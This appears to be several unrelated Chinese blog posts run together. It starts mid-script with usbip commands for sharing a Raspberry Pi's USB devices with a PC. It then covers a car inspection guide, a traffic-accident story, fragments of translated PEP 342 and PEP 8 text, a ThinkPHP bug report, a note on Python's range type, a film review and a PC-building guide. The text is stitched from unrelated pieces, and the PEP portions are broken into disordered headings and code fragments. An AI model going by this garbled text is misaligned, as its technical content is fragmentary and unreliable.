usbip bind --busid="$busid"
done
) >>/var/log/usbipall.log 2>&1
這個腳本做了這樣幾件事。
usbip list --local
列出本地所有 usb 設備。
usbip bind --busid=
命令把這個 usb 設備導出到網上樹莓派這邊設置就完成了。從此之後插入的 usb 設備就會統統導出出去。
這裏需要注意一下,啓用了 udev 規則之後,就沒法插鍵盤鼠標到樹莓派上控制它了……我都是從另一端 ssh 上樹莓派操作的。如果有什麼地方設置錯誤,可能需要把樹莓派的 SD 卡拔下來插到電腦上,刪除掉 rules 文件……
仔細檢查設置正確了之後,重新載入 udev 規則,或者重啓樹莓派:
# systemctl restart systemd-udevd
這樣樹莓派這邊就設置好了。
同樣假設 PC 這邊也已經聯網。接下來同樣安裝 usbip 工具:
$ sudo pacman -Syu usbip
然後我寫了個小腳本去鏈接樹莓派端, 這個文件 usbiprpi3.sh 也在我的 dotfiles:
#!/bin/sh
rpi3="192.168.0.117"
modprobe vhci-hcd
allusb=$(usbip list -p -r $rpi3 | cut -d":" -f1 -s | sed 's|^[ \t]*||;/^$/d')
for busid in $allusb
do
if [ "$busid" = "1-1.1" ]
then
# ignoring usb ethernet
continue
fi
echo "Attaching $busid"
usbip attach --remote=$rpi3 --busid="$busid"
done
其中腳本第一行填入上面記錄下來的樹莓派的 IP 地址,接下來腳本做了這麼幾件事:
usbip list --remote=
列出遠程設備上已經導出了的 USB 設備,取出他們的 busid
usbip attach
接上該設備然後就已經準備妥當,接下來是見證奇蹟的時刻:
$ sleep 10; sudo ./usbiprpi3.sh
Attaching 1-1.4.3
Attaching 1-1.4.1
因爲只有一套鍵盤鼠標,所以先 sleep 個 10 秒,在此期間快速把鍵鼠拔下來插到樹莓派的 USB 口上去。 如果對自己手速沒自信也可以把時間設長一點。然後用 root 權限執行 usbiprpi3.sh 。
一切正常的話,先能觀測插上樹莓派的鍵盤鼠標被樹莓派初始化了一下,比如鍵盤燈會亮, 然後這些設備會被導出出去,從而鍵盤燈滅掉,然後 10 秒等待結束後他們被遠程接到了 PC 端, 又會被初始化一下,同時 PC 端這邊會有上述 Attaching 的輸出。然後鍵盤鼠標就能像平常一樣用啦。
因爲就是通過 IP 轉發 USB 嘛,所以就和普通地接 USB 的體驗差不多,當然前提是網絡環境足夠穩定。 在我家間隔 5 米到無線路由器的環境下,基本感覺不到網絡延遲的影響。 通過這種方式聊天上網應該和直接接 USB 設備完全一樣。本文就是在通過樹莓派轉發的前提下用鍵盤打字寫的。
不過如果網絡負載本身就很大的話,可能會一些延遲,比如我開着 OBS 直播打東方的時候,原本就手殘 的我感覺更加手殘了……
試過拿着樹莓派在房間到處走,走到無線信號覆蓋不到的地方, usbip 會斷掉,PC 上的現象就像是 USB 設備被拔下來了……所以如果無線網絡不穩的話,可能需要對上面腳本做個循環?不過那樣可能會用起來很彆扭吧。
以及,上述操作 usbip 是走 TCP 3240 端口,數據包大概完全沒有加密,所以考慮安全性的話, 最好還是在內網環境使用。不過轉念一想,萬一有別人接上了我導出出去的 USB ,也就是截獲我的鍵盤, PC 這邊沒法 attach 設備了,應該馬上會發現吧。我敲打 sudo 之類命令的時候 shell 裏面沒有回顯, 就不會再繼續敲密碼了。而且似乎對攻擊者也沒有什麼好處?要是他 usb attach 到了我的設備上, 我就能控制他的鍵盤了耶~
狗年最后一更,提前给大家拜年了,首先祝大家春节快乐,猪年大吉。这里要说的异地年检不单指满六年需要上检测线的车,同样6年以内的,无需上检测线的也可以在异地办理年检,申领年检合格标志。我的车还算运气好,刚买的那会儿遇上了6年免检,直接2年一换合格标就好,满6年又遇上可以直接异地年审,着实方便了不少。这次年检之前,我打了一下嘉定车管所的电话,确定了一下政策的准确性,被告知只要就近找检测点就可以了,百度一下离我最近的封浜检测站不足4公里。
2020年年审经历已更新:《第二次办理车辆异地年审》。
年检需要带好你的驾驶证,行驶证,有效期内的交强险原件(副本),三角牌。去年检之前记得查一下自己的违章,违章需要先去处理掉。然后自行检查一下车辆灯光和刹车。我就是因为有个远光和刹车灯不亮导致耽误了点时间。说来也巧,上次打算去年检之前,刻意检查了一下,灯光和刹车都没问题,可是赶上了上海交警的机房搬迁,没办成,时隔一礼拜再去年检,远光爆了一个,刹车灯也爆了一个,悲催。
到了检测站,直接开到小型车车辆尾气检测线上,到旁边小窗口取一个排放等级确认告知单,然后等排队轮到自己即可。检测员让你不要熄火,打开引擎盖。他们会在排气管上插一个检测棒,然后稳定油门在2500转持续数分钟,直到检测机上数据完成即可。然后会取得一个机动车排放污染物检测报告,一般私家车基本都会合格的吧,如果不合格需要去修理,八成是三元催化坏了。
从尾气检测线出来,到外观检测线,会拿出三角牌在车辆尾部进行拍照,车辆外观检查,主要是不能有占比过大的贴纸和拉花和更严重的擅自改色,如果占比过大的话会被要求去除后再来。然后就是查看灯光是否有不亮的情况。我就是因为两个灯泡烧了,去修了再次检测的。
检测员会将你的车开到性能检测线上,分别测试前后轮制动性能,底盘检查。如果没有问题开到检测线最后部分会有一个灯光亮度检查,全部检测完成后会取得一个机动车安全技术检测报告。对了,如果你的刹车性能不合格,将会有点麻烦,先去修刹车,还不能换刹车片,如果换了刹车片,铁定不过,因为刹车片没有经过一定里程的磨合,刹车片和刹车盘之间的摩擦性能肯定无法达到检测标准。所以,如果你的刹车片比较薄的话,记得提前一点时间换掉。
拿到上述两个报告后,去大厅缴费窗口缴费,我这里是250块钱,然后去登记审核窗口交材料,需要把交强险副本和检车报告及行驶证提供给窗口,这里,我遇到了需要补拍照片的情况,其实我没搞懂这照片是干嘛的,一个是车辆前后的全景照,一个是驾驶位,放下车窗,手拉安全带的照片。补录照片后,就等着监测站将相关数据上传的车辆管理所,等车管所审核,审核通过后,就会核发年检合格标和打印行驶证有效检验日期了。对了,现在无需单独申领环保标志了,已经和年检合格标志合并了。
至此,全流程就办妥了,如果车辆没有太多问题,建议不要找黄牛,不能助长歪风邪气,并且现在检测站也不敢明目张胆让黄牛代办了,现在动不动就录音录像,传到有关部门,都是吃不了兜着走的事。好了,流程足够简单了吧,最后再次祝大家春节快乐!
没过年,今年就不算翻篇,最近运气差,回家路上还能被个二货给撞了。我下班从崧泽高架往嘉闵高架嘉定方向去,对方从崧泽高架往嘉闵高架闵行方向去,在匝道口,对方走在第一车道,我在第二车道,我车速比他快,在岔道的时候,正在超车,理论上对方应该早早的在距离匝道口150米处就应该变到第二车道,到了匝道口可以顺利右转,这货到了匝道口发现走错道了,不看反光镜直接打灯变道,我正在超车,一顿喇叭加油门顺道打了点方向让点位置,还是被二货把我后保险杠给撞上了,要不是那脚油门,得直接撞我整个侧面了,损失就大了。
等我超过他,发现我车身一晃,完犊子了,被对方刮到了,我就刹车停下了,二货在蹭了我以后完成了变道,结果直接右转道走了,留我自己在现场,妈的昏黄的路灯下也没看清车牌,只好打开双闪,后备箱找出三角牌,放好,打110,报警,简单描述下经过和具体位置,等出警,然后青浦的交警打电话过来问具体位置,因为这个地方正好青浦闵行交界的位置,描述了一下具体位置,挂了电话,闵行的交警打电话过来,再次重复了下事情经过和具体位置,告知我等在原地,交警马上过来,寒风中又等了5分钟,不见交警来,倒是又等来一通电话,告知我情况以记录,对方也不在现场,让我自行撤离现场,明天去闵行交警支队去处理。挂完电话匆匆收拾完就回家了。
到家后,第一件事就是讲行车记录仪的视频拷贝出来,导到电脑上,放大看车牌,不过盯盯拍的夜视效果并不好,应该说所有行车记录仪的夜视效果都不好,只能看清,大概是个银色的沪C*****的面包车,具体车牌就不写了,反复回看了下视频,确定自己无责。第二天请了半天假,去了漕宝路2008号的闵行交警支队。等开门后,填了自诉表,复印了交强险保单,驾驶证,行驶证。交到窗口,事情经过都没描述,大概是头一天晚上交警已记录过问题,也都没问我。告知处理的交警,对方逃逸,经过我查看行车记录仪视频是沪C*****这个车牌,最后一个字符不敢确定,交警说如果你的行车记录仪看不清楚,你也别指望高架上的监控能看清。经过交警在车辆库中查询,没发现这个车牌的车辆,再次打开视频,并请7P群里的小伙伴帮再次确认了下车牌,遴选了几组可能的车牌信息,经过比对,找到符合的车辆。交警说,90%就是他。然后就是交警给对方打电话,根据登记的电话信息,三个号码,有两个停机的,一个号码打通,没人接听。让我在边上等待过会儿再打,大概过了个把小时,还是没联系上。
这时候我只能请教交警后续该如何处理,万一对方一直联系不上,重点来了,交警告知,如果对方始终无法联系上,那么警方将会向对方的登记地址寄送法律文书(具体文件名没问,大概就是一个告知函之类的),如果对方接到警方文书,或者未送达,自警方寄送之日起,10日后,可以向警方查询。按照交警的工作规范,会直接认定为对方肇事逃逸,通知无责方来交警指定的评估机构进行车损评估(非保险公司定损),取得评估结果后,无责方可以向法院提起民事诉讼,追求对方的法律责任,同时警方会对对方驾驶证记12分并处罚金的处罚。
聊天的过程中,我开玩笑说,这似乎有法律漏洞啊,我们这种外地牌照,反正你们视频看不清,那我跑外地了,怎么办,交警说除了视频监控还可以调取安全卡口的视频,在合理时间段可能能排查出来,查出来后等文书会寄送到户籍地,通过两地联动,如果拒不配合的话,可能会被吊销驾驶证,将来重考驾驶证并不容易,还要来交警队接受其它方面的处理。法院判决肇事逃逸,还可能会影响到征信等问题,所以漏洞是不会有漏洞的,就是一件小事的处理代价比较大而已。
交警毕竟是用办公固定电话打的,有可能对方不接,我就向交警要来了对方手机号,我自己打,交警说上海本地人,一般打通都会来处理的,能联系上尽量联系。让我先发短信告知对方交警通知他来处理交通事故。然后尝试电话联系。我大概打了数个电话,又过了一个小时,终于打通了,电话甫一接通,我是没客气的就说你肇事逃逸,对方鸡鸡鸭鸭的说什么逃逸,然后我把电话给了交警,交警问了对方某某时间是否经过某某地方,待对方承认后,交警说你撞了别人逃逸,经过视频查证就是他。然后对方说我不知道啊,没撞到别人啊,交警说可以,我们就当你不知道,如果你知道撞了还跑掉就直接定逃逸责任了,现在我们就当你不知道,你现在去看下你的车右前位置是否有擦痕,然后过了会儿打电话过来,说确实有擦痕,问怎么办,交警说,你现在需要取得对方的谅解,配合对方把事故处理掉。他就问我,我想怎么处理这个事,我说怎么处理,你现在来交警队啊,该怎么处理怎么处理,对方说今天没空诶,我说行啊,我后面也没空,我就跟交警说追究你责任好了,对方思考再三说他马上过来,路程有点远,要点时间。好,我等。
差不多在交警中午临下班时刻,对方赶到了,交警说,事故不大,你变道撞了别人,你全责,他无责。你逃逸,现在对方比较好说话,也没要求警方追究你逃逸责任,现在开具事故责任单,你是否同意,你要不同意,那就出具你逃逸的责任认定。逃逸造成的损失,是进不了保险的。同意的话,全责责任可以走你的保险。拿到责任单后,马上给你保险公司打电话说交警责任已经订好了,你们自己协商去定损修车就好了。
事情到这里也就差不多了,对方平安保险,打了通电话,对方定损员估计也忙,说走快速理赔通道吧,用APP传了车损位置照片,驾驶证行驶证资料什么的,告知三天左右理赔金会下来,我的车定损500块钱,我也没异议,就保险杠一个面的油漆吗,差不多市场价400块钱的样子,定损500,我修车也够了,只是耽误了我的时间,请了半天假,扣的工资差不多都够这数了,算了,认倒霉吧,待离去的时候,对方说微信没钱,等保险公司把钱打给他后再转我,我也就好说话,说行,那就这样吧,基于对人的基本信任和与人方便自己方便的原则,甚至连对方欠条都没打就放对方走了,就加了个微信。
三天后的今天,联系对方给我转账,先是推脱说保险公司不知道有没有打,后是推脱说卡在他老婆那里,晚上查了再转我,晚上推脱说他老婆没回来,我倒是想看看明天给我啥借口。似乎我又遇到个厚颜无耻之人了,看吧后续得走保险公司渠道或者警方渠道追这笔钱了,要么保监会投诉平安不按规则操作,要么110报警对方赖账拒不赔钱,看来事情没这么快结束,这大过年的,让人生气。
30日又经过一天的催促等待,到晚上,我给对方发了一条最后通牒的微信,大意是我还说话你别以为我好欺负,如果明早我还收不到钱,我将采取其他措施来保障我的权益,由此造成的损失你自己承担。等到半夜十二点多,对方忍不住给我转账了。终于事了。
简介
动机
规格摘要
规格:将值发送到生成器
规格:异常和清理
try-finally
中__del__()
可选的扩展
未决问题
示例
参考实现
致谢
参考文献
版权
trampoline function
)就能使协程相互调用且不用阻塞——对异步应用程序有巨大好处。这些应用程序可以编写协程来运行非阻塞的 socket I/O,通过给 I/O 调度器提供控制,直到数据被发送或变为可用。同时,执行 I/O 的代码只需像如下方式操作,就能暂停执行,直到 nonblocking_read() 继续产生一个值:data = (yield nonblocking_read(my_socket, nbytes))
StopIteration
。StopIteration
(如果生成器没有捕获传入的异常,或者它引发了其它异常,则该异常会传递给调用者。)GeneratorExit
。如果生成器在之后引发 StopIteration
(通过正常退出,或者已经被关闭)或 GeneratorExit
(通过不捕获异常),则 close() 返回给其调用者。如果生成器产生一个值,则抛出 RuntimeError
。如果生成器引发任何其它异常,也会传递给调用者。如果生成器已经退出(异常退出或正常退出),则 close() 不执行任何操作。TypeError
(可能是由于某种逻辑错误)。所以,在与协程通信前,必须先调用 next() 或 send(None) ,来将程序推进到第一个 yield 表达式。StopIteration
异常(当生成器正常退出,或早已退出时)。如果生成器出现未捕获的异常,则它会传给调用者。x = yield 42
x = yield
x = 12 + (yield 42)
x = 12 + (yield)
foo(yield 42)
foo(yield)
yield 12,42
是合法的):x = 12 + yield 42
x = 12 + yield
foo(yield 42, 12)
foo(yield, 12)
g.throw(type, value, traceback)
会使生成器在挂起的点处抛出指定的异常(即在 yield 语句中,或在其函数体的头部、且还未调用 next() 时)。如果生成器捕获了异常,并生成了新的值,则它就是 g.throw() 的返回值。如果生成器没有捕获异常,那 throw() 也会抛出同样的异常(它溜走了)。如果生成器抛出其它异常(包括返回时产生的 StopIteration),那该异常会被 throw() 抛出。总之,throw() 的行为类似于 next() 或 send(),除了它是在挂起点处抛出异常。如果生成器已经处于关闭状态,throw() 只会抛出经过它的异常,而不去执行生成器的任何代码。raise type, value, traceback
resolve()
, signal()
, genraise()
, raiseinto()
和 flush()
。没有一个像 throw() 那般合适。def close(self):
try:
self.throw(GeneratorExit)
except (GeneratorExit, StopIteration):
pass
else:
raise RuntimeError("generator ignored GeneratorExit")
# Other exceptions are not caught
__del__()
g.__ del __()
是 g.close() 的装饰器。当生成器对象被作垃圾回收时,会调用它(在 CPython 中,则是它的引用计数变为零时)。如果 close() 引发异常, 异常的堆栈信息(traceback)会被打印到 sys.stderr 并被忽略掉;它不会退回到触发垃圾回收的地方。这与类实例在处理 __del__()
的异常时的方法一样。g.__del__()
。这是当前 CPython 的垃圾收集器的表现。做此限制的原因是,GC 代码需要在一个任意点打破循环,以便回收它,在此之后,不允许 Python 代码“看到”形成循环的对象,因为它们可能处于无效的状态。被用于解开(hanging off)循环的对象不受此限制。当生成器产生另一个值作为对“GeneratorExit”异常的响应时,close()
应该引发什么异常?
我最初选择了 TypeError ,因为它表示生成器函数发生了严重的错误行为,应该通过修改代码来修复。但是 PEP-343 中的 with_template
装饰器类使用了 RuntimeError 来进行类似处理。可以说它们都应该使用相同的异常。我宁愿不为此目的引入新的异常类,因为它不是我希望人们捕获的异常:我希望它变成一个 traceback 给程序员看到,然后进行修复。所以我觉得它们都应该抛出 RuntimeError 。有一些先例:在检测到无限递归的情况下,或者检测到未初始化的对象(由于各种各样的原因),核心 Python 代码会抛出该异常。
Oren Tirosh 建议将 send() 方法重命名为 feed() ,以便能跟 consumer 接口兼容(规范参见:http://effbot.org/zone/consumer.htm)。
def consumer(func):
def wrapper(*args,**kw):
gen = func(*args, **kw)
gen.next()
return gen
wrapper.__name__ = func.__name__
wrapper.__dict__ = func.__dict__
wrapper.__doc__ = func.__doc__
return wrapper
@consumer
def thumbnail_pager(pagesize, thumbsize, destination):
while True:
page = new_image(pagesize)
rows, columns = pagesize / thumbsize
pending = False
try:
for row in xrange(rows):
for column in xrange(columns):
thumb = create_thumbnail((yield), thumbsize)
page.write(
thumb, col*thumbsize.x, row*thumbsize.y )
pending = True
except GeneratorExit:
# close() was called, so flush any pending output
if pending:
destination.send(page)
# then close the downstream consumer, and exit
destination.close()
return
else:
# we finished a page full of thumbnails, so send it
# downstream and keep on looping
destination.send(page)
@consumer
def jpeg_writer(dirname):
fileno = 1
while True:
filename = os.path.join(dirname,"page%04d.jpg" % fileno)
write_jpeg((yield), filename)
fileno += 1
# Put them together to make a function that makes thumbnail
# pages from a list of images and other parameters.
#
def write_thumbnails(pagesize, thumbsize, images, output_dir):
pipeline = thumbnail_pager(
pagesize, thumbsize, jpeg_writer(output_dir)
)
for image in images:
pipeline.send(image)
pipeline.close()
import collections
class Trampoline:
"""Manage communications between coroutines"""
running = False
def __init__(self):
self.queue = collections.deque()
def add(self, coroutine):
"""Request that a coroutine be executed"""
self.schedule(coroutine)
def run(self):
result = None
self.running = True
try:
while self.running and self.queue:
func = self.queue.popleft()
result = func()
return result
finally:
self.running = False
def stop(self):
self.running = False
def schedule(self, coroutine, stack=(), val=None, *exc):
def resume():
value = val
try:
if exc:
value = coroutine.throw(value,*exc)
else:
value = coroutine.send(value)
except:
if stack:
# send the error back to the "caller"
self.schedule(
stack[0], stack[1], *sys.exc_info()
)
else:
# Nothing left in this pseudothread to
# handle it, let it propagate to the
# run loop
raise
if isinstance(value, types.GeneratorType):
# Yielded to a specific coroutine, push the
# current one on the stack, and call the new
# one with no args
self.schedule(value, (coroutine,stack))
elif stack:
# Yielded a result, pop the stack and send the
# value to the caller
self.schedule(stack[0], stack[1], value)
# else: this pseudothread has ended
self.queue.append(resume)
nonblocking_read
、nonblocking_write
和其它 I/O 协程,该例子在连接关闭时抛出 ConnectionLost
):# coroutine function that echos data back on a connected
# socket
#
def echo_handler(sock):
while True:
try:
data = yield nonblocking_read(sock)
yield nonblocking_write(sock, data)
except ConnectionLost:
pass # exit normally if connection lost
# coroutine function that listens for connections on a
# socket, and then launches a service "handler" coroutine
# to service the connection
#
def listen_on(trampoline, sock, handler):
while True:
# get the next incoming connection
connected_socket = yield nonblocking_accept(sock)
# start another coroutine to handle the connection
trampoline.add( handler(connected_socket) )
# Create a scheduler to manage all our coroutines
t = Trampoline()
# Create a coroutine instance to run the echo_handler on
# incoming connections
#
server = listen_on(
t, listening_socket("localhost","echo"), echo_handler
)
# Add the coroutine to the scheduler
t.add(server)
# loop forever, accepting connections and servicing them
# "in parallel"
#
t.run()
# 与开局定界符对齐
foo = long_function_name(var_one, var_two,
var_three, var_four)
def the_earth_is_flat():
"""NASA divided up the seas into thirty-three degrees."""
pass
def fibonacci_spiral_tool():
"""With my feet upon the ground I lose myself / between the sounds
and open wide to suck it in. / I feel it move across my skin. / I'm
reaching up and reaching out. / I'm reaching for the random or
whatever will bewilder me. / Whatever will bewilder me. / And
following our will and wind we may just go where no one's been. /
We'll ride the spiral to the end and may just go where no one's
been.
Spiral out. Keep going...
"""
pass
__repr__
),这些是此规则的例外。# Arguments on first line forbidden when not using vertical alignment.
# 不使用垂直对齐的参数禁止在第一行上
foo = long_function_name(var_one, var_two,
var_three, var_four)
# 与开局定界符对齐
foo = long_function_name(var_one, var_two,
var_three, var_four)
性能调优能够让你的代码能够跑得“足够快”以及“足够瘦”。性能分析能够让你用最小的代价做出最实用的决定。
高性能编程的很大一部分是了解你查询数据的方式,并选择一个能够迅速响应这个查询的数据结构。
grid[5][2]
中的两个数字其实是索引值,程序需要根据索引值进行两次查找,才能获得实际的数据。减少瓶颈最好的方法是让代码知道如何分配我们的内存以及如何使用我们的数据进行计算。
自从上次TP官方自爆了个安全漏洞后,火速就去做了升级,升级完我发现好几个问题,先是刚拉下来的框架就跑不起来,提示控制器不存在,反馈后流年竟然在线秒升级。后面又发现验证码加载不出来了,这个怪我,依赖没搞好,captcha扩展被删了导致的。再接着又发现paginate的query参数丢了,因为更新漏洞后,我发现参数获取方式变了,导致query参数被CDN给过滤了,没办法又去CDN做了下参数过滤排除解决。
然后过了两天我修改文章,发现文章标签又有问题了,选了多个标签,到最后就变成了一个,其他标签莫名都被删了,之前一直好好的,估计有是更新造成的。就去看了官方的更新日志,发现确实有更新多对多关联模型,这下好了,原本不更新没问题,修正了,反而有问题了,难道我之前的是将错就错么。
这个写入结果证明原本应该是多个ID的被写成一个了,就去翻了下belongsToMany的saveAll方法,翻来看去,也没发现啥问题,正常的将数据遍历后执行的save方法。没辙就去做了trace调试,明确的问题就是和预想的一样,不同的值被写成同一个了,那天流年在群里跟另外个小伙伴说做下跟踪调试,在model类431行查看下$this->exists结果,我顺道就去看了下我的,发现第一次写入的时候正常,后面写入都多了个主键,所以数据全写岔了。
对框架底层不熟,一时不知在框架上如何改起,二来下次等TP发版的时候应该就修复了,索性只在我业务层面改下算了,把原本saveAll方面改成遍历后调save方法写入算了(第一张图的注释部分)。
好了,水文结束,对了,似乎多个版本受影响,从5.1.28到5.1.32都有问题。
“range() 函数”这个说法是非常明显有错误的,range 不是内置函数( builtin method )而是个类对象,在 python 里面不要见到用括号调用的东西就认为是函数,类似的还是有很多,如 list, set, tuple, dict 等,这些都是类, 特别是 enumerate ,这个学 python 的人十有八九认为是函数而不知道是类,加了括号是实例化而不是函数调用。
python 中类的实例化和函数调用非常容易对新手有大的迷惑性,相对来说在 java 中有明确的 new 关键字加在构造方法前面概念更清楚一些。
Rather than being a function, range is actually an immutable sequence type…
range 实际是一种不可变的序列类型,而非一个(内置)函数…
__len__()
;还有最近一直在提的 iter(),它调用的是__iter__()
,所以也是内置函数;而因为不存在 __range__()
魔术方法,所以 range() 不是内置函数。builtin_function_or_method
的才是内置函数。>>> type(len)
builtin_function_or_method
>>> type(sorted)
builtin_function_or_method
>>> type(open)
builtin_function_or_method
>>> type(range)
type
>>> type(enumerate)
type
>>> type(str)
type
周末,因为点事情回了趟老家,来回奔波500公里,并且需要两天时间。第一天打算早早出门,结果晚晚出门,完成第一天任务后,去了小县城转转,毕竟小县城车让人在监控加持下蔚然成风,不得已,我又成了百度地图上的五星好司机。阴雨天气,想来也没啥可逛了,那九州广场自打开业,我这漂泊在外的游子也没像样的去逛过,索性去蹭空调了。三楼还是四楼有大片孩子玩的,逗留了两个小时就去吃晚饭了,吃完饭尚早,回酒店睡觉似又浪费,看个电影吧,拖着不到三岁的孩子怕搅了别人的雅兴,湿冷的江南冬夜,一不做二不休,就电影院,大不了娃儿吵了我们出来就是了,何况正在上映《大黄蜂》,何况自打孩子出生就没进过电影院了。
位置是没有好位置了,临时兴起购的票,边上就边上吧,正好万一孩子闹起来还能有个回旋的余地。开映前5分钟,购票取票验票一气呵成,给了两副3D眼镜,小伙子看着我们手上抱着孩子,犹豫要不要给孩子来一副(孩子是小号的眼镜),眼镜还在他手上,没等他开口,我就抓了过了,要。
坐定,边上确实有点不好,可见角度影响,我看荧幕的一侧总是灰蒙蒙的,这也就算了,该死的门口那荧绿色的安全出口还反光到了荧幕上,吐血三升。自打坐好,孩子倒是出奇的安静,戴上小眼镜,直愣愣的盯着荧幕,大概是没接触过这新鲜玩意,估计是捉摸这为啥不是放的汪汪队立大功。
故事的梗概就是讲了赛博坦被打成废墟后汽车人来地球隐藏的背景。大黄蜂在一个废车场藏身,最后被女主给找到,并修复了他。经过一系列俏皮互撩互动后就是相互成就。典型的美帝商业片。用一个词来形容这部电影:人机情未了!
一个刚刚年满十八周岁的跳水冠军。似乎是走到了职业瓶颈抑或受了什么打击,总之对跳水这件事,抗拒的不得了,在海边她那帮尖酸的朋友or同学面前,悻悻然走开,即使大黄蜂给了鼓励。另外一个背景是女主的爸爸挂了,在这个重组家庭,似乎并不那么和谐,总是看起来一副很独立的样子。我没看明白她那个弟弟到底是她亲的还是继父的。后来的剧情证明这个重组家庭还是很有人味的。
除了大黄蜂外,应该那俩都算吧,一个隔壁怂包,一个死脑筋的特工。先说隔壁怂包,从暗恋到最后修成正果(八字有一撇,一捺还没写),从初见大黄蜂的惊吓到营救大黄蜂的镇定,这算是个BUG吧,最后那阻挡增援部队的那种选择不知道是真怂还是假怂。死脑筋特工是个帅大叔,就他,演《海军陆战队》的那个肌肉男,百度的时候发现这货竟然能说流利的中文,我去。从开始不分立场的打击大黄蜂,到被霸天虎利用,有立场的打击大黄蜂,到不分立场打击所有外星人(汽车人和霸天虎),到最后被大黄蜂所救,送上的那一个敬礼,完成了敌友识别。你就这智商了,咋当的特工?
女主角的弟弟,心好嘴笨,善良的主。女主角的继父,幽默负责,车技还不错,虽然那惊险的场面不是他能造出来的,但好歹因他而起。狂妄博士,先是想利用外星人找到对抗苏联的办法,结果被霸天虎利用,最后识破霸天虎谎言后,利用价值也就没了,下场就是变成圣伯纳犬的口水一样滴到地上。
欢乐因素应该算是这部电影的最重要组成部分吧,毕竟要老少咸宜。据说电影的投资人是耐克家的公子,如果这电影拍不好他就会回家继承巨额财产,尼妹的继承巨额财产竟然是苦兮兮的差事。幽默主要是两块,一个是沙滩撩妹:大黄蜂又是摸头杀有是变乌龟(躲石头后面)。第二段就是大黄蜂在女主家试图偷看电视的拆家场面,那一系列风骚操作,这很憨豆。
这玩意一千个读者就有一千个哈姆雷特。从最后大黄蜂与那个红色的女霸天虎同归于尽后沉入水底的那一刻,女主才终于冲破了心中的魔咒,纵深一跃以堪比郭晶晶的水准压出水花,救起了大黄蜂(这特么到底谁救谁)。大黄蜂也因女主的努力和顽强找回了因失忆丢失的任务精神,算是完成了擎天柱交代的任务。
电影看到一半,我似乎发现我的小情人在我大情人的怀里睡着了,轻轻取下3D眼镜,这孩子马上把手捂到眼睛上,感觉很刺眼似的,又给她戴上,并横着抱起来,呼呼大睡,直到电影结束。这孩子第一次看电影就这样看一半睡一半,也没哭也没闹的就过去了,记下这属于她人生的第一次,以便将来说给她听。如果你也担心你家半大点孩子吵闹,不妨尝试一下,也可,只是音响声音太大似乎对娃儿鼓膜不好,无他。
整个电影把变形金刚系列电影中大黄蜂如何失声,如何变科迈罗的事情也都一并交代了。对了,最后加州大桥上那辆货柜车应该是擎天柱吧,如果不是别劈我,剧透结束,很显然这个把影评写成剧透的风格很西枫里。
>>> a = range(5) # 即 range(0,5)
>>> a
range(0, 5)
>>> len(a)
5
>>> for x in a:
>>> print(x,end=" ")
0 1 2 3 4
# (1)左闭右开
>>> for i in range(3, 6):
>>> print(i,end=" ")
3 4 5
# (2)参数类型
>>> for i in range(-8, -2, 2):
>>> print(i,end=" ")
-8 -6 -4
>>> range(2.2)
----------------------------
TypeError Traceback (most recent call last)
...
TypeError: 'float' object cannot be interpreted as an integer
# (3)序列操作
>>> b = range(1,10)
>>> b[0]
1
>>> b[:-3]
range(1, 7)
>>> b[0] = 2
TypeError Traceback (most recent call last)
...
TypeError: 'range' object does not support item assignment
# (4)不是迭代器
>>> hasattr(range(3),'__iter__')
True
>>> hasattr(range(3),'__next__')
False
>>> hasattr(iter(range(3)),'__next__')
True
__getitem__()
方法)。>>> for i in zip(range(1,6,2), range(2,7,2)):
>>> print(i, end="")
(1, 2)(3, 4)(5, 6)
>>> range(2) + range(3)
-----------------------------------------
TypeError Traceback (most recent call last)
...
TypeError: unsupported operand type(s) for +: 'range' and 'range'
>>> range(2)*2
-----------------------------------------
TypeError Traceback (most recent call last)
...
TypeError: unsupported operand type(s) for *: 'range' and 'int'
…due to the fact that range objects can only represent sequences that follow a strict pattern and repetition and concatenation will usually violate that pattern.
原因是 range 对象仅仅表示一个遵循着严格模式的序列,而重复与拼接通常会破坏这种模式…
range
is actually an immutable sequence type, as documented in Ranges and Sequence Types — list, tuple, range.如此看来,官方确实不完全把它定义为函数。只是,文档的大类是内置函数,这会引起很多误会…话说年前,那台跟了我10年并且性能还没淘汰的电脑,终于在一次正常关机后,牺牲了。那天早上起来开电脑,点不亮,没任何反应,完了,最担心的事情发生了,毕竟这电脑有些年份了,一台电脑满打满算跑6年算是相当不错来的了,这台可是用了10年了。原先一直担心我组的RAID会挂掉,造成数据丢失,没想到的是主板挂掉了,彻底报废了。换主板是不可能的了,毕竟10年前的东西了,配件也算基本废了,不是接口不对,就是标准太老。唯独把刻录机拆下来复用了。
老电脑烧了也就烧了,毕竟数据是真重要啊,无奈就了外面有数据恢复能力的电脑店,拿去先检测一下,最终断定是南桥芯片烧了。那就恢复数据吧,在我的印象中RAID0如果磁盘坏了,数据铁定是找不回来了,微软也没办法。目前我这个磁盘肯定没坏,至少有恢复数据的基础。修理店老板倒是有工具,专门恢复阵列数据的PCIE卡和配套的软件。终于把我的数据都找回来了,浪费点票子。
话说回来,不是装电脑么,扯了这么多,算是前景提要了,谅解。组装一台电脑其实很简单,稍微有点动手能力的朋友都可以自己攒机。接来下我说说攒机的一些注意事项和操作方法,想到哪说到哪儿,可能没什么章法,见谅,全文约6000多字,全部看完需要花几分钟时间。
先上个我新电脑的配置单吧,后面我也好按照这个顺序来讲。CPU:酷睿I5-8500,主板:技嘉B360 HD3,内存:威刚XPG DDR4 2666 8G*2,固态:三星 970Evo,机械:酷鱼ST2000DM008 2T,显卡:影驰GTX1050Ti,电源:航嘉WD500K,机箱:金河田家悦7001B,显示器:三星S24E390HL。
首先就是要有预算,而不是看配件下单,土豪除外。有了预算以后,作为一个熟练的装机员基本可以评估出来配件的型号了,不是太熟悉配件行情的也可以评估出来配件的价格和型号选择范围了。为什么说能评估出价格范围呢,其实很简单,核心的三大件,外加显卡,其它配件价格影响影响因素小,举个例子,预算在5000元,第一个就要问的是否涵盖显示器,如果算显示器,那显示器没有特殊要求的,预算就减1000,剩下4000块钱,CPU,主板,内存,显卡四个大件平均在800一个,就可以圈定选择范围了。(这两年内存涨价有点离谱)。对于个人新手来说有了价格范围或者型号概念的话,剩下的就是工具了,推荐太平洋自助装机,在太平洋电脑网右上角有个按钮。或者采用京东的自助装机,在京东电脑板块,上面有个装机大师。京东的这个装机大师有个不好的就是配件选择方面,没货的就选不到,当然你如果想在京东买配件,没货选了也白选,像西枫里这种狂热的天猫死硬份子,坚决是不可能在京东购物的,毕竟二手东的名号不是随便叫的。
